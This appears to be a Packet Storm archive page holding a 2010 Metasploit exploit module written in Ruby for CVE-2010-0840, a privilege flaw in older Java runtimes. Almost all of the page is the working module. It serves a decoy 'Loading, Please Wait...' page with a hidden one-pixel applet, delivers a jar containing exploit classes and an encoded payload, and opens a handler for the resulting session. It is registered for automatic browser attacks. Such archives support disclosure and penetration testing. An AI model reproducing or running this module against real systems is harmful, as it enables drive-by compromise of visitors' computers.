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EgyptPACKETSTORM:92972
HistoryAug 24, 2010 - 12:00 a.m.
Java Statement.invoke() Trusted Method Chain Exploit

2010-08-2400:00:00
egypt
packetstormsecurity.com
0.944 High
EPSS
Percentile
99.0%
JSON
`##  
# $Id: java_trusted_chain.rb 10113 2010-08-23 18:49:35Z egypt $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Java Statement.invoke() Trusted Method Chain Exploit',  
'Description' => %q{  
This module exploits a vulnerability in Java Runtime Environment  
that allows an untrusted method to run in a privileged context. The  
vulnerability affects version 6 prior to update 19 and version 5  
prior to update 23.  
},  
'License' => MSF_LICENSE,  
'Author' => [   
'Sami Koivu', # Discovery  
'Matthias Kaiser', # PoC  
'egypt' # metasploit module  
],  
'Version' => '$Revision: 10113 $',  
'References' =>  
[  
[ 'CVE', '2010-0840' ],  
[ 'OSVDB', '63483' ],  
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],  
],  
'Platform' => [ 'java' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Arch' => ARCH_JAVA,  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 31 2010'  
))  
end  
  
  
def on_request_uri( cli, request )  
if not request.uri.match(/\.jar$/i)  
if not request.uri.match(/\/$/)  
send_redirect(cli, get_resource() + '/', '')  
return  
end  
  
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )  
  
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )  
return  
end  
  
paths = [  
[ "vuln", "Exploit.class" ],  
[ "vuln", "Exploit$1.class" ],  
[ "vuln", "Link.class" ],  
]  
  
jar = payload.encoded_jar  
paths.each do |path|  
1.upto(path.length - 1) do |idx|  
full = path[0,idx].join("/") + "/"  
if !(jar.entries.map{|e|e.name}.include?(full))  
jar.add_file(full, '')  
end  
end  
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0840", path ), "rb")  
data = fd.read(fd.stat.size)  
jar.add_file(path.join("/"), data)  
fd.close  
end  
  
print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )  
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )  
  
handler( cli )  
end  
  
def generate_html  
html = "<html><head><title>Loading, Please Wait...</title></head>"  
html += "<body><center><p>Loading, Please Wait...</p></center>"  
html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"  
html += "</applet></body></html>"  
return html  
end  
  
end  
`
0.944 High
EPSS
Percentile
99.0%
JSON
Java Statement.invoke() Trusted Method Chain Exploit

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